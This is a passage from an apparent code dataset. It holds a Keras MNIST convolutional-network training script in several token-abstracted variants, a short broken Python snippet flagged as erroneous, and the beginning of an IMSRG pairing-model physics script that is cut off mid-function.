LabelEncoder()\r\ninteger_encoded = label_encoder.fit_transform(test_folder_list)\r\n\r\nonehot_encoder = OneHotEncoder(sparse=False)\r\ninteger_encoded = integer_encoded.reshape(len(integer_encoded), 1)\r\nonehot_encoded = onehot_encoder.fit_transform(integer_encoded)\r\n\r\nfor index in range(len(test_folder_list)):\r\n path = os.path.join(TEST_DIR, test_folder_list[index])\r\n path = path + '/'\r\n img_list = os.listdir(path)\r\n for img in img_list:\r\n img_path = os.path.join(path, img)\r\n img = cv2.imread(img_path, cv2.IMREAD_GRAYSCALE)\r\n test_input.append([np.array(img)])\r\n test_label.append([np.array(index)])\r\n\r\ntest_input = np.reshape(test_input, (-1, 28, 28))\r\ntest_label = np.reshape(test_label, (-1,))\r\ntest_input = np.array(test_input).astype(np.float32)\r\ntest_label = np.array(test_label).astype(np.float32)\r\nnp.save(\"test_input.npy\", test_input)\r\nnp.save(\"test_label.npy\", test_label)\r\n\r\n\r\n#-*- coding: utf-8 -*-\r\nfrom keras.datasets import mnist\r\nfrom keras.utils import np_utils\r\nfrom keras.models import Sequential\r\nfrom keras.layers import Dense, Dropout, Flatten, Conv2D, MaxPooling2D\r\nfrom keras.callbacks import ModelCheckpoint,EarlyStopping\r\nimport matplotlib.pyplot as plt\r\n\r\n\r\n\r\n\r\n# seed 값 설정\r\nseed = 0\r\nnp.random.seed(seed)\r\ntf.set_random_seed(seed)\r\n\r\n# 데이터 불러오기\r\n\r\n# test_input = []\r\n# test_label = []\r\n#\r\n# train_input = []\r\n# train_label = []\r\nX_train = train_input\r\nY_train = train_label\r\nX_test = test_input\r\nY_test = test_label\r\n\r\nprint('X train shape')\r\nprint(X_train.shape)\r\nprint('Y train shape')\r\nprint(Y_train.shape)\r\nprint('X test shape')\r\nprint(X_test.shape)\r\nprint('y test shape')\r\nprint(Y_test.shape)\r\n\r\n#(X_train, Y_train), (X_test, Y_test) = mnist.load_data()\r\nX_train = X_train.reshape(X_train.shape[0], 28, 28, 1).astype('float32') / 255\r\nX_test = X_test.reshape(X_test.shape[0], 28, 28, 1).astype('float32') / 255\r\nY_train = np_utils.to_categorical(Y_train)\r\nY_test = np_utils.to_categorical(Y_test)\r\n\r\n# 컨볼루션 신경망의 설정\r\nmodel = Sequential()\r\nmodel.add(Conv2D(32, kernel_size=(3, 3), input_shape=(28, 28, 1), activation='relu'))\r\nmodel.add(Conv2D(64, (3, 3), activation='relu'))\r\nmodel.add(MaxPooling2D(pool_size=2))\r\nmodel.add(Dropout(0.25))\r\nmodel.add(Flatten())\r\nmodel.add(Dense(128, activation='relu'))\r\nmodel.add(Dropout(0.5))\r\nmodel.add(Dense(10, activation='softmax'))\r\n\r\nmodel.compile(loss='categorical_crossentropy',\r\n optimizer='adam',\r\n metrics=['accuracy'])\r\n\r\n# 모델 최적화 설정\r\nMODEL_DIR = './model/'\r\nif not os.path.exists(MODEL_DIR):\r\n os.mkdir(MODEL_DIR)\r\n\r\nmodelpath=\"./model/{epoch:02d}-{val_loss:.4f}.hdf5\"\r\ncheckpointer = ModelCheckpoint(filepath=modelpath, monitor='val_loss', verbose=1, save_best_only=True)\r\nearly_stopping_callback = EarlyStopping(monitor='val_loss', patience=10)\r\n\r\n# 모델의 실행\r\nhistory = model.fit(X_train, Y_train, validation_data=(X_test, Y_test), epochs=15, batch_size=100, verbose=0, callbacks=[early_stopping_callback,checkpointer])\r\n\r\n# 테스트 정확도 출력\r\nprint(\"\\n Test Accuracy: %.4f\" % (model.evaluate(X_test, Y_test)[1]))\r\n\r\n# 테스트 셋의 오차\r\ny_vloss = history.history['val_loss']\r\n\r\n# 학습셋의 오차\r\ny_loss = history.history['loss']\r\n\r\n# 그래프로 표현\r\nx_len = np.arange(len(y_loss))\r\nplt.plot(x_len, y_vloss, marker='.', c=\"red\", label='Testset_loss')\r\nplt.plot(x_len, y_loss, marker='.', c=\"blue\", label='Trainset_loss')\r\n\r\n# 그래프에 그리드를 주고 레이블을 표시\r\nplt.legend(loc='upper right')\r\nplt.grid()\r\nplt.xlabel('epoch')\r\nplt.ylabel('loss')\r\nplt.show()\r\n", "import os\nimport cv2\nimport numpy as np\nfrom sklearn.preprocessing import LabelEncoder\nfrom sklearn.preprocessing import OneHotEncoder\nfrom numpy import array\nimport tensorflow as tf\nTRAIN_DIR = 'C:/Users/vgg/untitled/MNIST/trainingSet/'\ntrain_folder_list = array(os.listdir(TRAIN_DIR))\ntrain_input = []\ntrain_label = []\nlabel_encoder = LabelEncoder()\ninteger_encoded = label_encoder.fit_transform(train_folder_list)\nonehot_encoder = OneHotEncoder(sparse=False)\ninteger_encoded = integer_encoded.reshape(len(integer_encoded), 1)\nonehot_encoded = onehot_encoder.fit_transform(integer_encoded)\nfor index in range(len(train_folder_list)):\n path = os.path.join(TRAIN_DIR, train_folder_list[index])\n path = path + '/'\n img_list = os.listdir(path)\n for img in img_list:\n img_path = os.path.join(path, img)\n img = cv2.imread(img_path, cv2.IMREAD_GRAYSCALE)\n train_input.append([np.array(img)])\n train_label.append([np.array(index)])\ntrain_input = np.reshape(train_input, (-1, 28, 28))\ntrain_label = np.reshape(train_label, (-1,))\ntrain_input = np.array(train_input).astype(np.float32)\ntrain_label = np.array(train_label).astype(np.float32)\nnp.save('train_data.npy', train_input)\nnp.save('train_label.npy', train_label)\nTEST_DIR = 'C:/Users/vgg/untitled/MNIST/testSet/'\ntest_folder_list = array(os.listdir(TEST_DIR))\ntest_input = []\ntest_label = []\nlabel_encoder = LabelEncoder()\ninteger_encoded = label_encoder.fit_transform(test_folder_list)\nonehot_encoder = OneHotEncoder(sparse=False)\ninteger_encoded = integer_encoded.reshape(len(integer_encoded), 1)\nonehot_encoded = onehot_encoder.fit_transform(integer_encoded)\nfor index in range(len(test_folder_list)):\n path = os.path.join(TEST_DIR, test_folder_list[index])\n path = path + '/'\n img_list = os.listdir(path)\n for img in img_list:\n img_path = os.path.join(path, img)\n img = cv2.imread(img_path, cv2.IMREAD_GRAYSCALE)\n test_input.append([np.array(img)])\n test_label.append([np.array(index)])\ntest_input = np.reshape(test_input, (-1, 28, 28))\ntest_label = np.reshape(test_label, (-1,))\ntest_input = np.array(test_input).astype(np.float32)\ntest_label = np.array(test_label).astype(np.float32)\nnp.save('test_input.npy', test_input)\nnp.save('test_label.npy', test_label)\nfrom keras.datasets import mnist\nfrom keras.utils import np_utils\nfrom keras.models import Sequential\nfrom keras.layers import Dense, Dropout, Flatten, Conv2D, MaxPooling2D\nfrom keras.callbacks import ModelCheckpoint, EarlyStopping\nimport matplotlib.pyplot as plt\nseed = 0\nnp.random.seed(seed)\ntf.set_random_seed(seed)\nX_train = train_input\nY_train = train_label\nX_test = test_input\nY_test = test_label\nprint('X train shape')\nprint(X_train.shape)\nprint('Y train shape')\nprint(Y_train.shape)\nprint('X test shape')\nprint(X_test.shape)\nprint('y test shape')\nprint(Y_test.shape)\nX_train = X_train.reshape(X_train.shape[0], 28, 28, 1).astype('float32') / 255\nX_test = X_test.reshape(X_test.shape[0], 28, 28, 1).astype('float32') / 255\nY_train = np_utils.to_categorical(Y_train)\nY_test = np_utils.to_categorical(Y_test)\nmodel = Sequential()\nmodel.add(Conv2D(32, kernel_size=(3, 3), input_shape=(28, 28, 1),\n activation='relu'))\nmodel.add(Conv2D(64, (3, 3), activation='relu'))\nmodel.add(MaxPooling2D(pool_size=2))\nmodel.add(Dropout(0.25))\nmodel.add(Flatten())\nmodel.add(Dense(128, activation='relu'))\nmodel.add(Dropout(0.5))\nmodel.add(Dense(10, activation='softmax'))\nmodel.compile(loss='categorical_crossentropy', optimizer='adam', metrics=[\n 'accuracy'])\nMODEL_DIR = './model/'\nif not os.path.exists(MODEL_DIR):\n os.mkdir(MODEL_DIR)\nmodelpath = './model/{epoch:02d}-{val_loss:.4f}.hdf5'\ncheckpointer = ModelCheckpoint(filepath=modelpath, monitor='val_loss',\n verbose=1, save_best_only=True)\nearly_stopping_callback = EarlyStopping(monitor='val_loss', patience=10)\nhistory = model.fit(X_train, Y_train, validation_data=(X_test, Y_test),\n epochs=15, batch_size=100, verbose=0, callbacks=[\n early_stopping_callback, checkpointer])\nprint(\"\"\"\n Test Accuracy: %.4f\"\"\" % model.evaluate(X_test, Y_test)[1])\ny_vloss = history.history['val_loss']\ny_loss = history.history['loss']\nx_len = np.arange(len(y_loss))\nplt.plot(x_len, y_vloss, marker='.', c='red', label='Testset_loss')\nplt.plot(x_len, y_loss, marker='.', c='blue', label='Trainset_loss')\nplt.legend(loc='upper right')\nplt.grid()\nplt.xlabel('epoch')\nplt.ylabel('loss')\nplt.show()\n", "<import token>\nTRAIN_DIR = 'C:/Users/vgg/untitled/MNIST/trainingSet/'\ntrain_folder_list = array(os.listdir(TRAIN_DIR))\ntrain_input = []\ntrain_label = []\nlabel_encoder = LabelEncoder()\ninteger_encoded = label_encoder.fit_transform(train_folder_list)\nonehot_encoder = OneHotEncoder(sparse=False)\ninteger_encoded = integer_encoded.reshape(len(integer_encoded), 1)\nonehot_encoded = onehot_encoder.fit_transform(integer_encoded)\nfor index in range(len(train_folder_list)):\n path = os.path.join(TRAIN_DIR, train_folder_list[index])\n path = path + '/'\n img_list = os.listdir(path)\n for img in img_list:\n img_path = os.path.join(path, img)\n img = cv2.imread(img_path, cv2.IMREAD_GRAYSCALE)\n train_input.append([np.array(img)])\n train_label.append([np.array(index)])\ntrain_input = np.reshape(train_input, (-1, 28, 28))\ntrain_label = np.reshape(train_label, (-1,))\ntrain_input = np.array(train_input).astype(np.float32)\ntrain_label = np.array(train_label).astype(np.float32)\nnp.save('train_data.npy', train_input)\nnp.save('train_label.npy', train_label)\nTEST_DIR = 'C:/Users/vgg/untitled/MNIST/testSet/'\ntest_folder_list = array(os.listdir(TEST_DIR))\ntest_input = []\ntest_label = []\nlabel_encoder = LabelEncoder()\ninteger_encoded = label_encoder.fit_transform(test_folder_list)\nonehot_encoder = OneHotEncoder(sparse=False)\ninteger_encoded = integer_encoded.reshape(len(integer_encoded), 1)\nonehot_encoded = onehot_encoder.fit_transform(integer_encoded)\nfor index in range(len(test_folder_list)):\n path = os.path.join(TEST_DIR, test_folder_list[index])\n path = path + '/'\n img_list = os.listdir(path)\n for img in img_list:\n img_path = os.path.join(path, img)\n img = cv2.imread(img_path, cv2.IMREAD_GRAYSCALE)\n test_input.append([np.array(img)])\n test_label.append([np.array(index)])\ntest_input = np.reshape(test_input, (-1, 28, 28))\ntest_label = np.reshape(test_label, (-1,))\ntest_input = np.array(test_input).astype(np.float32)\ntest_label = np.array(test_label).astype(np.float32)\nnp.save('test_input.npy', test_input)\nnp.save('test_label.npy', test_label)\n<import token>\nseed = 0\nnp.random.seed(seed)\ntf.set_random_seed(seed)\nX_train = train_input\nY_train = train_label\nX_test = test_input\nY_test = test_label\nprint('X train shape')\nprint(X_train.shape)\nprint('Y train shape')\nprint(Y_train.shape)\nprint('X test shape')\nprint(X_test.shape)\nprint('y test shape')\nprint(Y_test.shape)\nX_train = X_train.reshape(X_train.shape[0], 28, 28, 1).astype('float32') / 255\nX_test = X_test.reshape(X_test.shape[0], 28, 28, 1).astype('float32') / 255\nY_train = np_utils.to_categorical(Y_train)\nY_test = np_utils.to_categorical(Y_test)\nmodel = Sequential()\nmodel.add(Conv2D(32, kernel_size=(3, 3), input_shape=(28, 28, 1),\n activation='relu'))\nmodel.add(Conv2D(64, (3, 3), activation='relu'))\nmodel.add(MaxPooling2D(pool_size=2))\nmodel.add(Dropout(0.25))\nmodel.add(Flatten())\nmodel.add(Dense(128, activation='relu'))\nmodel.add(Dropout(0.5))\nmodel.add(Dense(10, activation='softmax'))\nmodel.compile(loss='categorical_crossentropy', optimizer='adam', metrics=[\n 'accuracy'])\nMODEL_DIR = './model/'\nif not os.path.exists(MODEL_DIR):\n os.mkdir(MODEL_DIR)\nmodelpath = './model/{epoch:02d}-{val_loss:.4f}.hdf5'\ncheckpointer = ModelCheckpoint(filepath=modelpath, monitor='val_loss',\n verbose=1, save_best_only=True)\nearly_stopping_callback = EarlyStopping(monitor='val_loss', patience=10)\nhistory = model.fit(X_train, Y_train, validation_data=(X_test, Y_test),\n epochs=15, batch_size=100, verbose=0, callbacks=[\n early_stopping_callback, checkpointer])\nprint(\"\"\"\n Test Accuracy: %.4f\"\"\" % model.evaluate(X_test, Y_test)[1])\ny_vloss = history.history['val_loss']\ny_loss = history.history['loss']\nx_len = np.arange(len(y_loss))\nplt.plot(x_len, y_vloss, marker='.', c='red', label='Testset_loss')\nplt.plot(x_len, y_loss, marker='.', c='blue', label='Trainset_loss')\nplt.legend(loc='upper right')\nplt.grid()\nplt.xlabel('epoch')\nplt.ylabel('loss')\nplt.show()\n", "<import token>\n<assignment token>\nfor index in range(len(train_folder_list)):\n path = os.path.join(TRAIN_DIR, train_folder_list[index])\n path = path + '/'\n img_list = os.listdir(path)\n for img in img_list:\n img_path = os.path.join(path, img)\n img = cv2.imread(img_path, cv2.IMREAD_GRAYSCALE)\n train_input.append([np.array(img)])\n train_label.append([np.array(index)])\n<assignment token>\nnp.save('train_data.npy', train_input)\nnp.save('train_label.npy', train_label)\n<assignment token>\nfor index in range(len(test_folder_list)):\n path = os.path.join(TEST_DIR, test_folder_list[index])\n path = path + '/'\n img_list = os.listdir(path)\n for img in img_list:\n img_path = os.path.join(path, img)\n img = cv2.imread(img_path, cv2.IMREAD_GRAYSCALE)\n test_input.append([np.array(img)])\n test_label.append([np.array(index)])\n<assignment token>\nnp.save('test_input.npy', test_input)\nnp.save('test_label.npy', test_label)\n<import token>\n<assignment token>\nnp.random.seed(seed)\ntf.set_random_seed(seed)\n<assignment token>\nprint('X train shape')\nprint(X_train.shape)\nprint('Y train shape')\nprint(Y_train.shape)\nprint('X test shape')\nprint(X_test.shape)\nprint('y test shape')\nprint(Y_test.shape)\n<assignment token>\nmodel.add(Conv2D(32, kernel_size=(3, 3), input_shape=(28, 28, 1),\n activation='relu'))\nmodel.add(Conv2D(64, (3, 3), activation='relu'))\nmodel.add(MaxPooling2D(pool_size=2))\nmodel.add(Dropout(0.25))\nmodel.add(Flatten())\nmodel.add(Dense(128, activation='relu'))\nmodel.add(Dropout(0.5))\nmodel.add(Dense(10, activation='softmax'))\nmodel.compile(loss='categorical_crossentropy', optimizer='adam', metrics=[\n 'accuracy'])\n<assignment token>\nif not os.path.exists(MODEL_DIR):\n os.mkdir(MODEL_DIR)\n<assignment token>\nprint(\"\"\"\n Test Accuracy: %.4f\"\"\" % model.evaluate(X_test, Y_test)[1])\n<assignment token>\nplt.plot(x_len, y_vloss, marker='.', c='red', label='Testset_loss')\nplt.plot(x_len, y_loss, marker='.', c='blue', label='Trainset_loss')\nplt.legend(loc='upper right')\nplt.grid()\nplt.xlabel('epoch')\nplt.ylabel('loss')\nplt.show()\n", "<import token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<import token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n" ]
false
9,909
1be5de71615eae6c9074e67b0dcaabbac4d82e2b
def a = 10 b = 2 c = 3 cal(a,b,c)
[ "def\n\na = 10\nb = 2\nc = 3\n\ncal(a,b,c)" ]
true
9,910
0eb86fc64b74c79cace838e2d71ed92533123229
#!/usr/bin/env python #------------------------------------------------------------------------------ # imsrg_pairing.py # # author: H. Hergert # version: 1.5.0 # date: Dec 6, 2016 # # tested with Python v2.7 # # Solves the pairing model for four particles in a basis of four doubly # degenerate states by means of an In-Medium Similarity Renormalization # Group (IMSRG) flow. # #------------------------------------------------------------------------------ import numpy as np from numpy import array, dot, diag, reshape, transpose from scipy.linalg import eigvalsh from scipy.integrate import odeint, ode from sys import argv #----------------------------------------------------------------------------------- # basis and index functions #----------------------------------------------------------------------------------- def construct_basis_2B(holes, particles): basis = [] for i in holes: for j in holes: basis.append((i, j)) for i in holes: for a in particles: basis.append((i, a)) for a in particles: for i in holes: basis.append((a, i)) for a in particles: for b in particles: basis.append((a, b)) return basis def construct_basis_ph2B(holes, particles): basis = [] for i in holes: for j in holes: basis.append((i, j)) for i in holes: for a in particles: basis.append((i, a)) for a in particles: for i in holes: basis.append((a, i)) for a in particles: for b in particles: basis.append((a, b)) return basis # # We use dictionaries for the reverse lookup of state indices # def construct_index_2B(bas2B): index = { } for i, state in enumerate(bas2B): index[state] = i return index #----------------------------------------------------------------------------------- # transform matrices to particle-hole representation #----------------------------------------------------------------------------------- def ph_transform_2B(Gamma, bas2B, idx2B, basph2B, idxph2B): dim = len(basph2B) Gamma_ph = np.zeros((dim, dim)) for i1, (a,b) in enumerate(basph2B): for i2, (c, d) in enumerate(basph2B): Gamma_ph[i1, i2] -= Gamma[idx2B[(a,d)], idx2B[(c,b)]] return Gamma_ph def inverse_ph_transform_2B(Gamma_ph, bas2B, idx2B, basph2B, idxph2B): dim = len(bas2B) Gamma = np.zeros((dim, dim)) for i1, (a,b) in enumerate(bas2B): for i2, (c, d) in enumerate(bas2B): Gamma[i1, i2] -= Gamma_ph[idxph2B[(a,d)], idxph2B[(c,b)]] return Gamma #----------------------------------------------------------------------------------- # commutator of matrices #----------------------------------------------------------------------------------- def commutator(a,b): return dot(a,b) - dot(b,a) #----------------------------------------------------------------------------------- # norms of off-diagonal Hamiltonian pieces #----------------------------------------------------------------------------------- def calc_fod_norm(f, user_data): particles = user_data["particles"] holes = user_data["holes"] norm = 0.0 for a in particles: for i in holes: norm += f[a,i]**2 + f[i,a]**2 return np.sqrt(norm) def calc_Gammaod_norm(Gamma, user_data): particles = user_data["particles"] holes = user_data["holes"] idx2B = user_data["idx2B"] norm = 0.0 for a in particles: for b in particles: for i in holes: for j in holes: norm += Gamma[idx2B[(a,b)],idx2B[(i,j)]]**2 + Gamma[idx2B[(i,j)],idx2B[(a,b)]]**2 return np.sqrt(norm) #----------------------------------------------------------------------------------- # occupation number matrices #----------------------------------------------------------------------------------- def construct_occupation_1B(bas1B, holes, particles): dim = len(bas1B) occ = np.zeros(dim) for i in holes: occ[i] = 1. return occ # diagonal matrix: n_a - n_b def construct_occupationA_2B(bas2B, occ1B): dim = len(bas2B) occ = np.zeros((dim,dim)) for i1, (i,j) in enumerate(bas2B): occ[i1, i1] = occ1B[i] - occ1B[j] return occ # diagonal matrix: 1 - n_a - n_b def construct_occupationB_2B(bas2B, occ1B): dim = len(bas2B) occ = np.zeros((dim,dim)) for i1, (i,j) in enumerate(bas2B): occ[i1, i1] = 1. - occ1B[i] - occ1B[j] return occ # diagonal matrix: n_a * n_b def construct_occupationC_2B(bas2B, occ1B): dim = len(bas2B) occ = np.zeros((dim,dim)) for i1, (i,j) in enumerate(bas2B): occ[i1, i1] = occ1B[i] * occ1B[j] return occ #----------------------------------------------------------------------------------- # generators #----------------------------------------------------------------------------------- def eta_brillouin(f, Gamma, user_data): dim1B = user_data["dim1B"] particles = user_data["particles"] holes = user_data["holes"] idx2B = user_data["idx2B"] # one-body part of the generator eta1B = np.zeros_like(f) for a in particles: for i in holes: # (1-n_a)n_i - n_a(1-n_i) = n_i - n_a eta1B[a, i] = f[a,i] eta1B[i, a] = -f[a,i] # two-body part of the generator eta2B = np.zeros_like(Gamma) for a in particles: for b in particles: for i in holes: for j in holes: val = Gamma[idx2B[(a,b)], idx2B[(i,j)]] eta2B[idx2B[(a,b)],idx2B[(i,j)]] = val eta2B[idx2B[(i,j)],idx2B[(a,b)]] = -val return eta1B, eta2B def eta_imtime(f, Gamma, user_data): dim1B = user_data["dim1B"] particles = user_data["particles"] holes = user_data["holes"] idx2B = user_data["idx2B"] # one-body part of the generator eta1B = np.zeros_like(f) for a in particles: for i in holes: dE = f[a,a] - f[i,i] + Gamma[idx2B[(a,i)], idx2B[(a,i)]] val = np.sign(dE)*f[a,i] eta1B[a, i] = val eta1B[i, a] = -val # two-body part of the generator eta2B = np.zeros_like(Gamma) for a in particles: for b in particles: for i in holes: for j in holes: dE = ( f[a,a] + f[b,b] - f[i,i] - f[j,j] + Gamma[idx2B[(a,b)],idx2B[(a,b)]] + Gamma[idx2B[(i,j)],idx2B[(i,j)]] - Gamma[idx2B[(a,i)],idx2B[(a,i)]] - Gamma[idx2B[(a,j)],idx2B[(a,j)]] - Gamma[idx2B[(b,i)],idx2B[(b,i)]] - Gamma[idx2B[(b,j)],idx2B[(b,j)]] ) val = np.sign(dE)*Gamma[idx2B[(a,b)], idx2B[(i,j)]] eta2B[idx2B[(a,b)],idx2B[(i,j)]] = val eta2B[idx2B[(i,j)],idx2B[(a,b)]] = -val return eta1B, eta2B def eta_white(f, Gamma, user_data): dim1B = user_data["dim1B"] particles = user_data["particles"] holes = user_data["holes"] idx2B = user_data["idx2B"] # one-body part of the generator eta1B = np.zeros_like(f) for a in particles: for i in holes: denom = f[a,a] - f[i,i] + Gamma[idx2B[(a,i)], idx2B[(a,i)]] val = f[a,i]/denom eta1B[a, i] = val eta1B[i, a] = -val # two-body part of the generator eta2B = np.zeros_like(Gamma) for a in particles: for b in particles: for i in holes: for j in holes: denom = ( f[a,a] + f[b,b] - f[i,i] - f[j,j] + Gamma[idx2B[(a,b)],idx2B[(a,b)]] + Gamma[idx2B[(i,j)],idx2B[(i,j)]] - Gamma[idx2B[(a,i)],idx2B[(a,i)]] - Gamma[idx2B[(a,j)],idx2B[(a,j)]] - Gamma[idx2B[(b,i)],idx2B[(b,i)]] - Gamma[idx2B[(b,j)],idx2B[(b,j)]] ) val = Gamma[idx2B[(a,b)], idx2B[(i,j)]] / denom eta2B[idx2B[(a,b)],idx2B[(i,j)]] = val eta2B[idx2B[(i,j)],idx2B[(a,b)]] = -val return eta1B, eta2B def eta_white_mp(f, Gamma, user_data): dim1B = user_data["dim1B"] particles = user_data["particles"] holes = user_data["holes"] idx2B = user_data["idx2B"] # one-body part of the generator eta1B = np.zeros_like(f) for a in particles: for i in holes: denom = f[a,a] - f[i,i] val = f[a,i]/denom eta1B[a, i] = val eta1B[i, a] = -val # two-body part of the generator eta2B = np.zeros_like(Gamma) for a in particles: for b in particles: for i in holes: for j in holes: denom = ( f[a,a] + f[b,b] - f[i,i] - f[j,j] ) val = Gamma[idx2B[(a,b)], idx2B[(i,j)]] / denom eta2B[idx2B[(a,b)],idx2B[(i,j)]] = val eta2B[idx2B[(i,j)],idx2B[(a,b)]] = -val return eta1B, eta2B def eta_white_atan(f, Gamma, user_data): dim1B = user_data["dim1B"] particles = user_data["particles"] holes = user_data["holes"] idx2B = user_data["idx2B"] # one-body part of the generator eta1B = np.zeros_like(f) for a in particles: for i in holes: denom = f[a,a] - f[i,i] + Gamma[idx2B[(a,i)], idx2B[(a,i)]] val = 0.5 * np.arctan(2 * f[a,i]/denom) eta1B[a, i] = val eta1B[i, a] = -val # two-body part of the generator eta2B = np.zeros_like(Gamma) for a in particles: for b in particles: for i in holes: for j in holes: denom = ( f[a,a] + f[b,b] - f[i,i] - f[j,j] + Gamma[idx2B[(a,b)],idx2B[(a,b)]] + Gamma[idx2B[(i,j)],idx2B[(i,j)]] - Gamma[idx2B[(a,i)],idx2B[(a,i)]] - Gamma[idx2B[(a,j)],idx2B[(a,j)]] - Gamma[idx2B[(b,i)],idx2B[(b,i)]] - Gamma[idx2B[(b,j)],idx2B[(b,j)]] ) val = 0.5 * np.arctan(2 * Gamma[idx2B[(a,b)], idx2B[(i,j)]] / denom) eta2B[idx2B[(a,b)],idx2B[(i,j)]] = val eta2B[idx2B[(i,j)],idx2B[(a,b)]] = -val return eta1B, eta2B def eta_wegner(f, Gamma, user_data): dim1B = user_data["dim1B"] holes = user_data["holes"] particles = user_data["particles"] bas2B = user_data["bas2B"] basph2B = user_data["basph2B"] idx2B = user_data["idx2B"] idxph2B = user_data["idxph2B"] occB_2B = user_data["occB_2B"] occC_2B = user_data["occC_2B"] occphA_2B = user_data["occphA_2B"] # split Hamiltonian in diagonal and off-diagonal parts fd = np.zeros_like(f) fod = np.zeros_like(f) Gammad = np.zeros_like(Gamma) Gammaod = np.zeros_like(Gamma) for a in particles: for i in holes: fod[a, i] = f[a,i] fod[i, a] = f[i,a] fd = f - fod for a in particles: for b in particles: for i in holes: for j in holes: Gammaod[idx2B[(a,b)], idx2B[(i,j)]] = Gamma[idx2B[(a,b)], idx2B[(i,j)]] Gammaod[idx2B[(i,j)], idx2B[(a,b)]] = Gamma[idx2B[(i,j)], idx2B[(a,b)]] Gammad = Gamma - Gammaod ############################# # one-body part of the generator eta1B = np.zeros_like(f) # 1B - 1B eta1B += commutator(fd, fod) # 1B - 2B for p in range(dim1B): for q in range(dim1B): for i in holes: for a in particles: eta1B[p,q] += ( fd[i,a] * Gammaod[idx2B[(a, p)], idx2B[(i, q)]] - fd[a,i] * Gammaod[idx2B[(i, p)], idx2B[(a, q)]] - fod[i,a] * Gammad[idx2B[(a, p)], idx2B[(i, q)]] + fod[a,i] * Gammad[idx2B[(i, p)], idx2B[(a, q)]] ) # 2B - 2B # n_a n_b nn_c + nn_a nn_b n_c = n_a n_b + (1 - n_a - n_b) * n_c GammaGamma = dot(Gammad, dot(occB_2B, Gammaod)) for p in range(dim1B): for q in range(dim1B): for i in holes: eta1B[p,q] += 0.5*( GammaGamma[idx2B[(i,p)], idx2B[(i,q)]] - transpose(GammaGamma)[idx2B[(i,p)], idx2B[(i,q)]] ) GammaGamma = dot(Gammad, dot(occC_2B, Gammaod)) for p in range(dim1B): for q in range(dim1B): for r in range(dim1B): eta1B[p,q] += 0.5*( GammaGamma[idx2B[(r,p)], idx2B[(r,q)]] + transpose(GammaGamma)[idx2B[(r,p)], idx2B[(r,q)]] ) ############################# # two-body flow equation eta2B = np.zeros_like(Gamma) # 1B - 2B for p in range(dim1B): for q in range(dim1B): for r in range(dim1B): for s in range(dim1B): for t in range(dim1B): eta2B[idx2B[(p,q)],idx2B[(r,s)]] += ( fd[p,t] * Gammaod[idx2B[(t,q)],idx2B[(r,s)]] + fd[q,t] * Gammaod[idx2B[(p,t)],idx2B[(r,s)]] - fd[t,r] * Gammaod[idx2B[(p,q)],idx2B[(t,s)]] - fd[t,s] * Gammaod[idx2B[(p,q)],idx2B[(r,t)]] - fod[p,t] * Gammad[idx2B[(t,q)],idx2B[(r,s)]] - fod[q,t] * Gammad[idx2B[(p,t)],idx2B[(r,s)]] + fod[t,r] * Gammad[idx2B[(p,q)],idx2B[(t,s)]] + fod[t,s] * Gammad[idx2B[(p,q)],idx2B[(r,t)]] ) # 2B - 2B - particle and hole ladders # Gammad.occB.Gammaod GammaGamma = dot(Gammad, dot(occB_2B, Gammaod)) eta2B += 0.5 * (GammaGamma - transpose(GammaGamma)) # 2B - 2B - particle-hole chain # transform matrices to particle-hole representation and calculate # Gammad_ph.occA_ph.Gammaod_ph Gammad_ph = ph_transform_2B(Gammad, bas2B, idx2B, basph2B, idxph2B) Gammaod_ph = ph_transform_2B(Gammaod, bas2B, idx2B, basph2B, idxph2B) GammaGamma_ph = dot(Gammad_ph, dot(occphA_2B, Gammaod_ph)) # transform back to standard representation GammaGamma = inverse_ph_transform_2B(GammaGamma_ph, bas2B, idx2B, basph2B, idxph2B) # commutator / antisymmetrization work = np.zeros_like(GammaGamma) for i1, (i,j) in enumerate(bas2B): for i2, (k,l) in enumerate(bas2B): work[i1, i2] -= ( GammaGamma[i1, i2] - GammaGamma[idx2B[(j,i)], i2] - GammaGamma[i1, idx2B[(l,k)]] + GammaGamma[idx2B[(j,i)], idx2B[(l,k)]] ) GammaGamma = work eta2B += GammaGamma return eta1B, eta2B #----------------------------------------------------------------------------------- # derivatives #----------------------------------------------------------------------------------- def flow_imsrg2(eta1B, eta2B, f, Gamma, user_data): dim1B = user_data["dim1B"] holes = user_data["holes"] particles = user_data["particles"] bas2B = user_data["bas2B"] idx2B = user_data["idx2B"] basph2B = user_data["basph2B"] idxph2B = user_data["idxph2B"] occB_2B = user_data["occB_2B"] occC_2B = user_data["occC_2B"] occphA_2B = user_data["occphA_2B"] ############################# # zero-body flow equation dE = 0.0 for i in holes: for a in particles: dE += eta1B[i,a] * f[a,i] - eta1B[a,i] * f[i,a] for i in holes: for j in holes: for a in particles: for b in particles: dE += 0.5 * eta2B[idx2B[(i,j)], idx2B[(a,b)]] * Gamma[idx2B[(a,b)], idx2B[(i,j)]] ############################# # one-body flow equation df = np.zeros_like(f) # 1B - 1B df += commutator(eta1B, f) # 1B - 2B for p in range(dim1B): for q in range(dim1B): for i in holes: for a in particles: df[p,q] += ( eta1B[i,a] * Gamma[idx2B[(a, p)], idx2B[(i, q)]] - eta1B[a,i] * Gamma[idx2B[(i, p)], idx2B[(a, q)]] - f[i,a] * eta2B[idx2B[(a, p)], idx2B[(i, q)]] + f[a,i] * eta2B[idx2B[(i, p)], idx2B[(a, q)]] ) # 2B - 2B # n_a n_b nn_c + nn_a nn_b n_c = n_a n_b + (1 - n_a - n_b) * n_c etaGamma = dot(eta2B, dot(occB_2B, Gamma)) for p in range(dim1B): for q in range(dim1B): for i in holes: df[p,q] += 0.5*( etaGamma[idx2B[(i,p)], idx2B[(i,q)]] + transpose(etaGamma)[idx2B[(i,p)], idx2B[(i,q)]] ) etaGamma = dot(eta2B, dot(occC_2B, Gamma)) for p in range(dim1B): for q in range(dim1B): for r in range(dim1B): df[p,q] += 0.5*( etaGamma[idx2B[(r,p)], idx2B[(r,q)]] + transpose(etaGamma)[idx2B[(r,p)], idx2B[(r,q)]] ) ############################# # two-body flow equation dGamma = np.zeros_like(Gamma) # 1B - 2B for p in range(dim1B): for q in range(dim1B): for r in range(dim1B): for s in range(dim1B): for t in range(dim1B): dGamma[idx2B[(p,q)],idx2B[(r,s)]] += ( eta1B[p,t] * Gamma[idx2B[(t,q)],idx2B[(r,s)]] + 